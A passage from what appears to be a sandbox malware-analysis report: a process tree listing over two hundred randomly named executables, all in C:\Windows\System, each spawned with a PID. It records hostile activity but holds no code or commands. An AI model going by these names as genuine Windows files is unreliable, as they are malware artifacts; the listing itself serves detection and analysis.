  C:\Windows\System\RoaFXsK.exe
  2⤵
  PID:6436
- C:\Windows\System\dDAyIPY.exe
  C:\Windows\System\dDAyIPY.exe
  2⤵
  PID:6452
- C:\Windows\System\nDOxAYC.exe
  C:\Windows\System\nDOxAYC.exe
  2⤵
  PID:6468
- C:\Windows\System\yhIMfSW.exe
  C:\Windows\System\yhIMfSW.exe
  2⤵
  PID:6484
- C:\Windows\System\WmzkpvF.exe
  C:\Windows\System\WmzkpvF.exe
  2⤵
  PID:6500
- C:\Windows\System\WfKKGkC.exe
  C:\Windows\System\WfKKGkC.exe
  2⤵
  PID:6516
- C:\Windows\System\NcxBNds.exe
  C:\Windows\System\NcxBNds.exe
  2⤵
  PID:6532
- C:\Windows\System\MZcEQrM.exe
  C:\Windows\System\MZcEQrM.exe
  2⤵
  PID:6548
- C:\Windows\System\dFZnYNe.exe
  C:\Windows\System\dFZnYNe.exe
  2⤵
  PID:6564
- C:\Windows\System\hAOvqzz.exe
  C:\Windows\System\hAOvqzz.exe
  2⤵
  PID:6580
- C:\Windows\System\UQmghaF.exe
  C:\Windows\System\UQmghaF.exe
  2⤵
  PID:6596
- C:\Windows\System\NYRpLWt.exe
  C:\Windows\System\NYRpLWt.exe
  2⤵
  PID:6612
- C:\Windows\System\TTnYXmG.exe
  C:\Windows\System\TTnYXmG.exe
  2⤵
  PID:6628
- C:\Windows\System\ipuJaUo.exe
  C:\Windows\System\ipuJaUo.exe
  2⤵
  PID:6644
- C:\Windows\System\mZFutEX.exe
  C:\Windows\System\mZFutEX.exe
  2⤵
  PID:6660
- C:\Windows\System\RLXBoRD.exe
  C:\Windows\System\RLXBoRD.exe
  2⤵
  PID:6676
- C:\Windows\System\paeFLTz.exe
  C:\Windows\System\paeFLTz.exe
  2⤵
  PID:6692
- C:\Windows\System\BJtUepV.exe
  C:\Windows\System\BJtUepV.exe
  2⤵
  PID:6708
- C:\Windows\System\njHeAMh.exe
  C:\Windows\System\njHeAMh.exe
  2⤵
  PID:6724
- C:\Windows\System\bznqRcN.exe
  C:\Windows\System\bznqRcN.exe
  2⤵
  PID:6740
- C:\Windows\System\MnKtIPZ.exe
  C:\Windows\System\MnKtIPZ.exe
  2⤵
  PID:6756
- C:\Windows\System\ckkvqKJ.exe
  C:\Windows\System\ckkvqKJ.exe
  2⤵
  PID:6772
- C:\Windows\System\RBRMAzU.exe
  C:\Windows\System\RBRMAzU.exe
  2⤵
  PID:6788
- C:\Windows\System\icOaLwa.exe
  C:\Windows\System\icOaLwa.exe
  2⤵
  PID:6804
- C:\Windows\System\YLvcEwc.exe
  C:\Windows\System\YLvcEwc.exe
  2⤵
  PID:6820
- C:\Windows\System\GtWBVJv.exe
  C:\Windows\System\GtWBVJv.exe
  2⤵
  PID:6836
- C:\Windows\System\mdseTrs.exe
  C:\Windows\System\mdseTrs.exe
  2⤵
  PID:6852
- C:\Windows\System\rdMZilI.exe
  C:\Windows\System\rdMZilI.exe
  2⤵
  PID:6868
- C:\Windows\System\dXXcuXu.exe
  C:\Windows\System\dXXcuXu.exe
  2⤵
  PID:6884
- C:\Windows\System\cABktuW.exe
  C:\Windows\System\cABktuW.exe
  2⤵
  PID:6900
- C:\Windows\System\LSWgkyJ.exe
  C:\Windows\System\LSWgkyJ.exe
  2⤵
  PID:6916
- C:\Windows\System\fzrdUrO.exe
  C:\Windows\System\fzrdUrO.exe
  2⤵
  PID:6932
- C:\Windows\System\BsGLuTA.exe
  C:\Windows\System\BsGLuTA.exe
  2⤵
  PID:6948
- C:\Windows\System\mlUfnUy.exe
  C:\Windows\System\mlUfnUy.exe
  2⤵
  PID:6964
- C:\Windows\System\WOTxCWY.exe
  C:\Windows\System\WOTxCWY.exe
  2⤵
  PID:6980
- C:\Windows\System\oXzQowj.exe
  C:\Windows\System\oXzQowj.exe
  2⤵
  PID:6996
- C:\Windows\System\bhBIYqK.exe
  C:\Windows\System\bhBIYqK.exe
  2⤵
  PID:7012
- C:\Windows\System\GIwBcDh.exe
  C:\Windows\System\GIwBcDh.exe
  2⤵
  PID:7028
- C:\Windows\System\VXSRmNh.exe
  C:\Windows\System\VXSRmNh.exe
  2⤵
  PID:7044
- C:\Windows\System\EPkHdLi.exe
  C:\Windows\System\EPkHdLi.exe
  2⤵
  PID:7060
- C:\Windows\System\pTnWsVz.exe
  C:\Windows\System\pTnWsVz.exe
  2⤵
  PID:7076
- C:\Windows\System\NWcHyMG.exe
  C:\Windows\System\NWcHyMG.exe
  2⤵
  PID:7092
- C:\Windows\System\BLVorkc.exe
  C:\Windows\System\BLVorkc.exe
  2⤵
  PID:7108
- C:\Windows\System\iSdWgGp.exe
  C:\Windows\System\iSdWgGp.exe
  2⤵
  PID:7124
- C:\Windows\System\bboScXo.exe
  C:\Windows\System\bboScXo.exe
  2⤵
  PID:7140
- C:\Windows\System\MEtkvme.exe
  C:\Windows\System\MEtkvme.exe
  2⤵
  PID:7156
- C:\Windows\System\bXXVoyc.exe
  C:\Windows\System\bXXVoyc.exe
  2⤵
  PID:6168
- C:\Windows\System\sRuOehq.exe
  C:\Windows\System\sRuOehq.exe
  2⤵
  PID:6232
- C:\Windows\System\PtCctps.exe
  C:\Windows\System\PtCctps.exe
  2⤵
  PID:6296
- C:\Windows\System\rMrzmUI.exe
  C:\Windows\System\rMrzmUI.exe
  2⤵
  PID:5048
- C:\Windows\System\iLEfSEt.exe
  C:\Windows\System\iLEfSEt.exe
  2⤵
  PID:5156
- C:\Windows\System\ZAILcaU.exe
  C:\Windows\System\ZAILcaU.exe
  2⤵
  PID:4396
- C:\Windows\System\pAXSooN.exe
  C:\Windows\System\pAXSooN.exe
  2⤵
  PID:4752
- C:\Windows\System\EXuhOqv.exe
  C:\Windows\System\EXuhOqv.exe
  2⤵
  PID:5152
- C:\Windows\System\gEvNNrx.exe
  C:\Windows\System\gEvNNrx.exe
  2⤵
  PID:6428
- C:\Windows\System\gqpEuxN.exe
  C:\Windows\System\gqpEuxN.exe
  2⤵
  PID:6432
- C:\Windows\System\muFVilZ.exe
  C:\Windows\System\muFVilZ.exe
  2⤵
  PID:6496
- C:\Windows\System\gqCkQWz.exe
  C:\Windows\System\gqCkQWz.exe
  2⤵
  PID:6560
- C:\Windows\System\aXqZiZN.exe
  C:\Windows\System\aXqZiZN.exe
  2⤵
  PID:6216
- C:\Windows\System\nXWFMeg.exe
  C:\Windows\System\nXWFMeg.exe
  2⤵
  PID:4720
- C:\Windows\System\wCDDaGF.exe
  C:\Windows\System\wCDDaGF.exe
  2⤵
  PID:6096
- C:\Windows\System\FEVCzeE.exe
  C:\Windows\System\FEVCzeE.exe
  2⤵
  PID:6624
- C:\Windows\System\VAaXJgn.exe
  C:\Windows\System\VAaXJgn.exe
  2⤵
  PID:6688
- C:\Windows\System\SkwdySI.exe
  C:\Windows\System\SkwdySI.exe
  2⤵
  PID:6280
- C:\Windows\System\CDXLQBd.exe
  C:\Windows\System\CDXLQBd.exe
  2⤵
  PID:6344
- C:\Windows\System\WmEbjtZ.exe
  C:\Windows\System\WmEbjtZ.exe
  2⤵
  PID:6476
- C:\Windows\System\nLrfpWG.exe
  C:\Windows\System\nLrfpWG.exe
  2⤵
  PID:6608
- C:\Windows\System\NqGFQRG.exe
  C:\Windows\System\NqGFQRG.exe
  2⤵
  PID:6448
- C:\Windows\System\rlmPSei.exe
  C:\Windows\System\rlmPSei.exe
  2⤵
  PID:6544
- C:\Windows\System\UCqMkCG.exe
  C:\Windows\System\UCqMkCG.exe
  2⤵
  PID:6668
- C:\Windows\System\CJLmiRp.exe
  C:\Windows\System\CJLmiRp.exe
  2⤵
  PID:6732
- C:\Windows\System\qTzzWmY.exe
  C:\Windows\System\qTzzWmY.exe
  2⤵
  PID:6780
- C:\Windows\System\idOLPNs.exe
  C:\Windows\System\idOLPNs.exe
  2⤵
  PID:6844
- C:\Windows\System\JrfWdVY.exe
  C:\Windows\System\JrfWdVY.exe
  2⤵
  PID:6880
- C:\Windows\System\XMhByQK.exe
  C:\Windows\System\XMhByQK.exe
  2⤵
  PID:6944
- C:\Windows\System\xrAcqnR.exe
  C:\Windows\System\xrAcqnR.exe
  2⤵
  PID:7008
- C:\Windows\System\cpwMBtl.exe
  C:\Windows\System\cpwMBtl.exe
  2⤵
  PID:7072
- C:\Windows\System\yTwuSJd.exe
  C:\Windows\System\yTwuSJd.exe
  2⤵
  PID:7136
- C:\Windows\System\ccBllyq.exe
  C:\Windows\System\ccBllyq.exe
  2⤵
  PID:6264
- C:\Windows\System\cgSPQHS.exe
  C:\Windows\System\cgSPQHS.exe
  2⤵
  PID:6052
- C:\Windows\System\wgtSFQC.exe
  C:\Windows\System\wgtSFQC.exe
  2⤵
  PID:6464
- C:\Windows\System\ufJxzka.exe
  C:\Windows\System\ufJxzka.exe
  2⤵
  PID:5592
- C:\Windows\System\YgywrXR.exe
  C:\Windows\System\YgywrXR.exe
  2⤵
  PID:6684
- C:\Windows\System\FYPCDgW.exe
  C:\Windows\System\FYPCDgW.exe
  2⤵
  PID:6316
- C:\Windows\System\fPWspMB.exe
  C:\Windows\System\fPWspMB.exe
  2⤵
  PID:7152
- C:\Windows\System\xAgGNhf.exe
  C:\Windows\System\xAgGNhf.exe
  2⤵
  PID:6860
- C:\Windows\System\KDbaLck.exe
  C:\Windows\System\KDbaLck.exe
  2⤵
  PID:6796
- C:\Windows\System\lgnVEBz.exe
  C:\Windows\System\lgnVEBz.exe
  2⤵
  PID:6832
- C:\Windows\System\ATXLzZM.exe
  C:\Windows\System\ATXLzZM.exe
  2⤵
  PID:6924
- C:\Windows\System\PsJkHos.exe
  C:\Windows\System\PsJkHos.exe
  2⤵
  PID:7020
- C:\Windows\System\tBLyzCY.exe
  C:\Windows\System\tBLyzCY.exe
  2⤵
  PID:6416
- C:\Windows\System\onEyhug.exe
  C:\Windows\System\onEyhug.exe
  2⤵
  PID:5108
- C:\Windows\System\BUyBMpJ.exe
  C:\Windows\System\BUyBMpJ.exe
  2⤵
  PID:6556
- C:\Windows\System\cwfnJqS.exe
  C:\Windows\System\cwfnJqS.exe
  2⤵
  PID:6620
- C:\Windows\System\IpgSBtt.exe
  C:\Windows\System\IpgSBtt.exe
  2⤵
  PID:6380
- C:\Windows\System\HnNDqBY.exe
  C:\Windows\System\HnNDqBY.exe
  2⤵
  PID:6540
- C:\Windows\System\gEJRWna.exe
  C:\Windows\System\gEJRWna.exe
  2⤵
  PID:6748
- C:\Windows\System\ZxrpkBD.exe
  C:\Windows\System\ZxrpkBD.exe
  2⤵
  PID:6816
- C:\Windows\System\WqVycse.exe
  C:\Windows\System\WqVycse.exe
  2⤵
  PID:7040
- C:\Windows\System\CKgStfv.exe
  C:\Windows\System\CKgStfv.exe
  2⤵
  PID:5928
- C:\Windows\System\gYYFmrk.exe
  C:\Windows\System\gYYFmrk.exe
  2⤵
  PID:6576
- C:\Windows\System\ZbKSsGc.exe
  C:\Windows\System\ZbKSsGc.exe
  2⤵
  PID:6892
- C:\Windows\System\HJZxNHB.exe
  C:\Windows\System\HJZxNHB.exe
  2⤵
  PID:6736
- C:\Windows\System\yBogcIA.exe
  C:\Windows\System\yBogcIA.exe
  2⤵
  PID:7004
- C:\Windows\System\ZCLjulq.exe
  C:\Windows\System\ZCLjulq.exe
  2⤵
  PID:7104
- C:\Windows\System\xoGsGDF.exe
  C:\Windows\System\xoGsGDF.exe
  2⤵
  PID:6392
- C:\Windows\System\SOyeIBE.exe
  C:\Windows\System\SOyeIBE.exe
  2⤵
  PID:6988
- C:\Windows\System\iixtFtj.exe
  C:\Windows\System\iixtFtj.exe
  2⤵
  PID:6156
- C:\Windows\System\OAcCFxS.exe
  C:\Windows\System\OAcCFxS.exe
  2⤵
  PID:6704
- C:\Windows\System\foCGffT.exe
  C:\Windows\System\foCGffT.exe
  2⤵
  PID:6036
- C:\Windows\System\lVXdIEf.exe
  C:\Windows\System\lVXdIEf.exe
  2⤵
  PID:6328
- C:\Windows\System\xTvpluV.exe
  C:\Windows\System\xTvpluV.exe
  2⤵
  PID:5828
- C:\Windows\System\vvKIBZa.exe
  C:\Windows\System\vvKIBZa.exe
  2⤵
  PID:7180
- C:\Windows\System\LkBMzBz.exe
  C:\Windows\System\LkBMzBz.exe
  2⤵
  PID:7196
- C:\Windows\System\OYbdjXX.exe
  C:\Windows\System\OYbdjXX.exe
  2⤵
  PID:7212
- C:\Windows\System\OocIWxe.exe
  C:\Windows\System\OocIWxe.exe
  2⤵
  PID:7228
- C:\Windows\System\nEAfyWX.exe
  C:\Windows\System\nEAfyWX.exe
  2⤵
  PID:7244
- C:\Windows\System\LbLXUjP.exe
  C:\Windows\System\LbLXUjP.exe
  2⤵
  PID:7260
- C:\Windows\System\hnGKeTf.exe
  C:\Windows\System\hnGKeTf.exe
  2⤵
  PID:7276
- C:\Windows\System\XCedxjP.exe
  C:\Windows\System\XCedxjP.exe
  2⤵
  PID:7292
- C:\Windows\System\FVReSGB.exe
  C:\Windows\System\FVReSGB.exe
  2⤵
  PID:7308
- C:\Windows\System\ltZCzmG.exe
  C:\Windows\System\ltZCzmG.exe
  2⤵
  PID:7324
- C:\Windows\System\vKYWhaB.exe
  C:\Windows\System\vKYWhaB.exe
  2⤵
  PID:7340
- C:\Windows\System\ZSfyFhT.exe
  C:\Windows\System\ZSfyFhT.exe
  2⤵
  PID:7356
- C:\Windows\System\FYpogPs.exe
  C:\Windows\System\FYpogPs.exe
  2⤵
  PID:7372
- C:\Windows\System\xffSSOV.exe
  C:\Windows\System\xffSSOV.exe
  2⤵
  PID:7388
- C:\Windows\System\BKwzSiH.exe
  C:\Windows\System\BKwzSiH.exe
  2⤵
  PID:7404
- C:\Windows\System\zOCXUjB.exe
  C:\Windows\System\zOCXUjB.exe
  2⤵
  PID:7420
- C:\Windows\System\CjgkCLR.exe
  C:\Windows\System\CjgkCLR.exe
  2⤵
  PID:7436
- C:\Windows\System\DURSAUi.exe
  C:\Windows\System\DURSAUi.exe
  2⤵
  PID:7452
- C:\Windows\System\LmxrfFO.exe
  C:\Windows\System\LmxrfFO.exe
  2⤵
  PID:7468
- C:\Windows\System\GwvMhPz.exe
  C:\Windows\System\GwvMhPz.exe
  2⤵
  PID:7484
- C:\Windows\System\oYCiFsK.exe
  C:\Windows\System\oYCiFsK.exe
  2⤵
  PID:7500
- C:\Windows\System\gqpYVWD.exe
  C:\Windows\System\gqpYVWD.exe
  2⤵
  PID:7516
- C:\Windows\System\cnUyTIr.exe
  C:\Windows\System\cnUyTIr.exe
  2⤵
  PID:7532
- C:\Windows\System\QyYTKEc.exe
  C:\Windows\System\QyYTKEc.exe
  2⤵
  PID:7548
- C:\Windows\System\VGGtVQA.exe
  C:\Windows\System\VGGtVQA.exe
  2⤵
  PID:7564
- C:\Windows\System\ZIBSxdJ.exe
  C:\Windows\System\ZIBSxdJ.exe
  2⤵
  PID:7580
- C:\Windows\System\icFTtga.exe
  C:\Windows\System\icFTtga.exe
  2⤵
  PID:7596
- C:\Windows\System\CEddlMi.exe
  C:\Windows\System\CEddlMi.exe
  2⤵
  PID:7612
- C:\Windows\System\yfmUBuz.exe
  C:\Windows\System\yfmUBuz.exe
  2⤵
  PID:7628
- C:\Windows\System\cXgOeCv.exe
  C:\Windows\System\cXgOeCv.exe
  2⤵
  PID:7644
- C:\Windows\System\RsAeiba.exe
  C:\Windows\System\RsAeiba.exe
  2⤵
  PID:7660
- C:\Windows\System\PQpfeGg.exe
  C:\Windows\System\PQpfeGg.exe
  2⤵
  PID:7676
- C:\Windows\System\JzXmCGz.exe
  C:\Windows\System\JzXmCGz.exe
  2⤵
  PID:7692
- C:\Windows\System\YtPveER.exe
  C:\Windows\System\YtPveER.exe
  2⤵
  PID:7708
- C:\Windows\System\BoFgVQo.exe
  C:\Windows\System\BoFgVQo.exe
  2⤵
  PID:7724
- C:\Windows\System\kvqVJTB.exe
  C:\Windows\System\kvqVJTB.exe
  2⤵
  PID:7740
- C:\Windows\System\tTPHPjJ.exe
  C:\Windows\System\tTPHPjJ.exe
  2⤵
  PID:7756
- C:\Windows\System\JpjPRDD.exe
  C:\Windows\System\JpjPRDD.exe
  2⤵
  PID:7772
- C:\Windows\System\InIOaGE.exe
  C:\Windows\System\InIOaGE.exe
  2⤵
  PID:7788
- C:\Windows\System\BLhFEwW.exe
  C:\Windows\System\BLhFEwW.exe
  2⤵
  PID:7804
- C:\Windows\System\RBmVThM.exe
  C:\Windows\System\RBmVThM.exe
  2⤵
  PID:7820
- C:\Windows\System\APokPyc.exe
  C:\Windows\System\APokPyc.exe
  2⤵
  PID:7836
- C:\Windows\System\BNMHVyn.exe
  C:\Windows\System\BNMHVyn.exe
  2⤵
  PID:7852
- C:\Windows\System\jPfPXDS.exe
  C:\Windows\System\jPfPXDS.exe
  2⤵
  PID:7868
- C:\Windows\System\EcrWyoo.exe
  C:\Windows\System\EcrWyoo.exe
  2⤵
  PID:7884
- C:\Windows\System\zWYAYZD.exe
  C:\Windows\System\zWYAYZD.exe
  2⤵
  PID:7900
- C:\Windows\System\LKGjHQW.exe
  C:\Windows\System\LKGjHQW.exe
  2⤵
  PID:7916
- C:\Windows\System\ajBVLEQ.exe
  C:\Windows\System\ajBVLEQ.exe
  2⤵
  PID:7932
- C:\Windows\System\UMzNROA.exe
  C:\Windows\System\UMzNROA.exe
  2⤵
  PID:7948
- C:\Windows\System\gdSUMvr.exe
  C:\Windows\System\gdSUMvr.exe
  2⤵
  PID:7964
- C:\Windows\System\iZYwTAS.exe
  C:\Windows\System\iZYwTAS.exe
  2⤵
  PID:7980
- C:\Windows\System\mrpTHtJ.exe
  C:\Windows\System\mrpTHtJ.exe
  2⤵
  PID:7996
- C:\Windows\System\NrUiaNW.exe
  C:\Windows\System\NrUiaNW.exe
  2⤵
  PID:8012
- C:\Windows\System\OsSuXcj.exe
  C:\Windows\System\OsSuXcj.exe
  2⤵
  PID:8028
- C:\Windows\System\vwMEkEt.exe
  C:\Windows\System\vwMEkEt.exe
  2⤵
  PID:8044
- C:\Windows\System\kcZqdmd.exe
  C:\Windows\System\kcZqdmd.exe
  2⤵
  PID:8060
- C:\Windows\System\LuHmtnS.exe
  C:\Windows\System\LuHmtnS.exe
  2⤵
  PID:8076
- C:\Windows\System\tlMyzMz.exe
  C:\Windows\System\tlMyzMz.exe
  2⤵
  PID:8092
- C:\Windows\System\ckdsGMk.exe
  C:\Windows\System\ckdsGMk.exe
  2⤵
  PID:8108
- C:\Windows\System\hrABeLv.exe
  C:\Windows\System\hrABeLv.exe
  2⤵
  PID:8124
- C:\Windows\System\ugVuVYr.exe
  C:\Windows\System\ugVuVYr.exe
  2⤵
  PID:8140
- C:\Windows\System\kvevwPV.exe
  C:\Windows\System\kvevwPV.exe
  2⤵
  PID:8156
- C:\Windows\System\AwZAdRj.exe
  C:\Windows\System\AwZAdRj.exe
  2⤵
  PID:8172
- C:\Windows\System\iFlIyIy.exe
  C:\Windows\System\iFlIyIy.exe
  2⤵
  PID:8188
- C:\Windows\System\dDSvtMN.exe
  C:\Windows\System\dDSvtMN.exe
  2⤵
  PID:6976
- C:\Windows\System\ecRKlUS.exe
  C:\Windows\System\ecRKlUS.exe
  2⤵
  PID:7204
- C:\Windows\System\rUXuCxn.exe
  C:\Windows\System\rUXuCxn.exe
  2⤵
  PID:7268
- C:\Windows\System\UVfVAUh.exe
  C:\Windows\System\UVfVAUh.exe
  2⤵
  PID:7332
- C:\Windows\System\dgpFlWp.exe
  C:\Windows\System\dgpFlWp.exe
  2⤵
  PID:7396
- C:\Windows\System\ECPglLB.exe
  C:\Windows\System\ECPglLB.exe
  2⤵
  PID:7460
- C:\Windows\System\xUYyjuf.exe
  C:\Windows\System\xUYyjuf.exe
  2⤵
  PID:7524
- C:\Windows\System\zpschSg.exe
  C:\Windows\System\zpschSg.exe
  2⤵
  PID:7588
- C:\Windows\System\VmfdhlW.exe
  C:\Windows\System\VmfdhlW.exe
  2⤵
  PID:7652
- C:\Windows\System\CntIgYQ.exe
  C:\Windows\System\CntIgYQ.exe
  2⤵
  PID:7716
- C:\Windows\System\pvbXzyH.exe
  C:\Windows\System\pvbXzyH.exe
  2⤵
  PID:7608
- C:\Windows\System\xvgBSAr.exe
  C:\Windows\System\xvgBSAr.exe
  2⤵
  PID:6508
- C:\Windows\System\vmwecpC.exe
  C:\Windows\System\vmwecpC.exe
  2⤵
  PID:7224
- C:\Windows\System\iMwFalu.exe
  C:\Windows\System\iMwFalu.exe
  2⤵
  PID:6640
- C:\Windows\System\LJGiDVd.exe
  C:\Windows\System\LJGiDVd.exe
  2⤵
  PID:7476
- C:\Windows\System\QvcyTpB.exe
  C:\Windows\System\QvcyTpB.exe
  2⤵
  PID:6332
- C:\Windows\System\PADMcEH.exe
  C:\Windows\System\PADMcEH.exe
  2⤵
  PID:7084
- C:\Windows\System\AdrgqGh.exe
  C:\Windows\System\AdrgqGh.exe
  2⤵
  PID:7192
- C:\Windows\System\bhZrQhs.exe
  C:\Windows\System\bhZrQhs.exe
  2⤵
  PID:7348
- C:\Windows\System\lQLWiIl.exe
  C:\Windows\System\lQLWiIl.exe
  2⤵
  PID:7412
- C:\Windows\System\CKTpynt.exe
  C:\Windows\System\CKTpynt.exe
  2⤵
  PID:7480
- C:\Windows\System\zETITfR.exe
  C:\Windows\System\zETITfR.exe
  2⤵
  PID:7748
- C:\Windows\System\RnMAYXr.exe
  C:\Windows\System\RnMAYXr.exe
  2⤵
  PID:7752
- C:\Windows\System\zAdbgez.exe
  C:\Windows\System\zAdbgez.exe
  2⤵
  PID:7672
- C:\Windows\System\GFuVsvI.exe
  C:\Windows\System\GFuVsvI.exe
  2⤵
  PID:7780
- C:\Windows\System\VOAuQOt.exe
  C:\Windows\System\VOAuQOt.exe
  2⤵
  PID:7816
- C:\Windows\System\qUTFPCy.exe
  C:\Windows\System\qUTFPCy.exe
  2⤵
  PID:7880
- C:\Windows\System\uWRhYEw.exe
  C:\Windows\System\uWRhYEw.exe
  2⤵
  PID:7828
- C:\Windows\System\HlNwocg.exe
  C:\Windows\System\HlNwocg.exe
  2⤵
  PID:7956
- C:\Windows\System\YsQUTeS.exe
  C:\Windows\System\YsQUTeS.exe
  2⤵
  PID:7988
- C:\Windows\System\UuqimxT.exe
  C:\Windows\System\UuqimxT.exe
  2⤵
  PID:7992
- C:\Windows\System\KXymmnM.exe
  C:\Windows\System\KXymmnM.exe
  2⤵
  PID:8056
- C:\Windows\System\QUQMoTs.exe
  C:\Windows\System\QUQMoTs.exe
  2⤵
  PID:8120
- C:\Windows\System\dnpVLFz.exe
  C:\Windows\System\dnpVLFz.exe
  2⤵
  PID:8040
- C:\Windows\System\SQGkqSC.exe
  C:\Windows\System\SQGkqSC.exe
  2⤵
  PID:8148
- C:\Windows\System\CzpjTZk.exe
  C:\Windows\System\CzpjTZk.exe
  2⤵
  PID:8152
- C:\Windows\System\fWlXIfw.exe
  C:\Windows\System\fWlXIfw.exe
  2⤵
  PID:8180
- C:\Windows\System\jNJbVen.exe
  C:\Windows\System\jNJbVen.exe
  2⤵
  PID:7172
- C:\Windows\System\UVnVSHm.exe
  C:\Windows\System\UVnVSHm.exe
  2⤵
  PID:7368
- C:\Windows\System\wKcWlIp.exe
  C:\Windows\System\wKcWlIp.exe
  2⤵
  PID:7300
- C:\Windows\System\dEUxSga.exe
  C:\Windows\System\dEUxSga.exe
  2⤵
  PID:7556
- C:\Windows\System\hVsFqEY.exe
  C:\Windows\System\hVsFqEY.exe
  2⤵
  PID:7768
- C:\Windows\System\cpRplQt.exe
  C:\Windows\System\cpRplQt.exe
  2⤵
  PID:7624
- C:\Windows\System\wxZpnDY.exe
  C:\Windows\System\wxZpnDY.exe
  2⤵
  PID:7220
- C:\Windows\System\snEQVhF.exe
  C:\Windows\System\snEQVhF.exe
  2⤵
  PID:6188
- C:\Windows\System\bSJcLwm.exe
  C:\Windows\System\bSJcLwm.exe
  2⤵
  PID:6960
- C:\Windows\System\VUbrIuM.exe
  C:\Windows\System\VUbrIuM.exe
  2⤵
  PID:7448
- C:\Windows\System\FnuEduU.exe
  C:\Windows\System\FnuEduU.exe
  2⤵
  PID:7576
- C:\Windows\System\vnAcZBY.exe
  C:\Windows\System\vnAcZBY.exe
  2⤵
  PID:7640
- C:\Windows\System\XFbrmbS.exe
  C:\Windows\System\XFbrmbS.exe
  2⤵
  PID:7796
- C:\Windows\System\CUYiJBa.exe
  C:\Windows\System\CUYiJBa.exe
  2⤵
  PID:7864
- C:\Windows\System\EKgCQac.exe
  C:\Windows\System\EKgCQac.exe
  2⤵
  PID:7960
- C:\Windows\System\uSiYIxb.exe
  C:\Windows\System\uSiYIxb.exe
  2⤵
  PID:8088
- C:\Windows\System\mnWZnmU.exe
  C:\Windows\System\mnWZnmU.exe
  2⤵
  PID:8072
- C:\Windows\System\EppSHdw.exe
  C:\Windows\System\EppSHdw.exe
  2⤵
  PID:7240
- C:\Windows\System\nhUFgaV.exe
  C:\Windows\System\nhUFgaV.exe
  2⤵
  PID:7256
- C:\Windows\System\nYqcXSe.exe
  C:\Windows\System\nYqcXSe.exe
  2⤵
  PID:7320
- C:\Windows\System\BPQRTGt.exe
  C:\Windows\System\BPQRTGt.exe
  2⤵
  PID:7620
- C:\Windows\System\pxlGTZL.exe
  C:\Windows\System\pxlGTZL.exe
  2⤵
  PID:8036
- C:\Windows\System\COmVTCz.exe
  C:\Windows\System\COmVTCz.exe
  2⤵
  PID:7684
- C:\Windows\System\iDfLHCs.exe
  C:\Windows\System\iDfLHCs.exe
  2⤵
  PID:2980
- C:\Windows\System\MHiTsfl.exe
  C:\Windows\System\MHiTsfl.exe
  2⤵
  PID:7892
- C:\Windows\System\CBvxNSM.exe
  C:\Windows\System\CBvxNSM.exe
  2⤵
  PID:6252
- C:\Windows\System\UPAcVPz.exe
  C:\Windows\System\UPAcVPz.exe
  2⤵
  PID:8136
- C:\Windows\System\SNtgJmx.exe
  C:\Windows\System\SNtgJmx.exe
  2⤵
  PID:6956
- C:\Windows\System\tjaUpAU.exe
  C:\Windows\System\tjaUpAU.exe
  2⤵
  PID:7432
- C:\Windows\System\gwRBHgD.exe
  C:\Windows\System\gwRBHgD.exe
  2⤵
  PID:7928
- C:\Windows\System\tIFQqSp.exe
  C:\Windows\System\tIFQqSp.exe
  2⤵
  PID:6376
- C:\Windows\System\rXkvzTx.exe
  C:\Windows\System\rXkvzTx.exe
  2⤵
  PID:6764
- C:\Windows\System\vOvLbnc.exe
  C:\Windows\System\vOvLbnc.exe
  2⤵
  PID:8200
- C:\Windows\System\mupcJEX.exe
  C:\Windows\System\mupcJEX.exe
  2⤵
  PID:8216
- C:\Windows\System\qPQLsXQ.exe
  C:\Windows\System\qPQLsXQ.exe
  2⤵
  PID:8232
- C:\Windows\System\sAtylpI.exe
  C:\Windows\System\sAtylpI.exe
  2⤵
  PID:8248
- C:\Windows\System\ziefEbt.exe
  C:\Windows\System\ziefEbt.exe
  2⤵
  PID:8264
- C:\Windows\System\XRvxeeB.exe
  C:\Windows\System\XRvxeeB.exe
  2⤵
  PID:8280
- C:\Windows\System\kSUvjuQ.exe
  C:\Windows\System\kSUvjuQ.exe
  2⤵
  PID:8296
- C:\Windows\System\APMIDVL.exe
  C:\Windows\System\APMIDVL.exe
  2⤵
  PID:8312
- C:\Windows\System\GbgWVER.exe
  C:\Windows\System\GbgWVER.exe
  2⤵
  PID:8328
- C:\Windows\System\QniXtDr.exe
  C:\Windows\System\QniXtDr.exe
  2⤵
  PID:8344
- C:\Windows\System\RxftZFg.exe
  C:\Windows\System\RxftZFg.exe
  2⤵
  PID:8360
- C:\Windows\System\vQKCGwJ.exe
  C:\Windows\System\vQKCGwJ.exe
  2⤵
  PID:8380
- C:\Windows\System\JzOovMw.exe
  C:\Windows\System\JzOovMw.exe
  2⤵
  PID:8396
- C:\Windows\System\WEGnXwt.exe
  C:\Windows\System\WEGnXwt.exe
  2⤵
  PID:8412
- C:\Windows\System\SZZHQKh.exe
  C:\Windows\System\SZZHQKh.exe
  2⤵
  PID:8428
- C:\Windows\System\nNhWxwI.exe
  C:\Windows\System\nNhWxwI.exe
  2⤵
  PID:8444
- C:\Windows\System\EvoxlHE.exe
  C:\Windows\System\EvoxlHE.exe
  2⤵
  PID:8460
- C:\Windows\System\sdXBRSr.exe
  C:\Windows\System\sdXBRSr.exe
  2⤵
  PID:8476
- C:\Windows\System\xBogBXB.exe
  C:\Windows\System\xBogBXB.exe
  2⤵
  PID:8496
- C:\Windows\System\SaglPxJ.exe
  C:\Windows\System\SaglPxJ.exe
  2⤵
  PID:8512
- C:\Windows\System\pbsTBxf.exe
  C:\Windows\System\pbsTBxf.exe
  2⤵
  PID:8528
- C:\Windows\System\mLFYbxw.exe
  C:\Windows\System\mLFYbxw.exe
  2⤵
  PID:8544
- C:\Windows\System\YOlEnUI.exe
  C:\Windows\System\YOlEnUI.exe
  2⤵
  PID:8560
- C:\Windows\System\tWtthlY.exe
  C:\Windows\System\tWtthlY.exe
  2⤵
  PID:8576
- C:\Windows\System\mbjJDea.exe
  C:\Windows\System\mbjJDea.exe
  2⤵
  PID:8592
- C:\Windows\System\wCYFzFJ.exe
  C:\Windows\System\wCYFzFJ.exe
  2⤵
  PID:8608
- C:\Windows\System\qXbTUdp.exe
  C:\Windows\System\qXbTUdp.exe
  2⤵
  PID:8624
- C:\Windows\System\evNNyfr.exe
  C:\Windows\System\evNNyfr.exe
  2⤵
  PID:8640
- C:\Windows\System\KYhbPNt.exe
  C:\Windows\System\KYhbPNt.exe
  2⤵
  PID:8656
- C:\Windows\System\PLABAGb.exe
  C:\Windows\System\PLABAGb.exe
  2⤵
  PID:8672
- C:\Windows\System\CBXrBsF.exe
  C:\Windows\System\CBXrBsF.exe
  2⤵
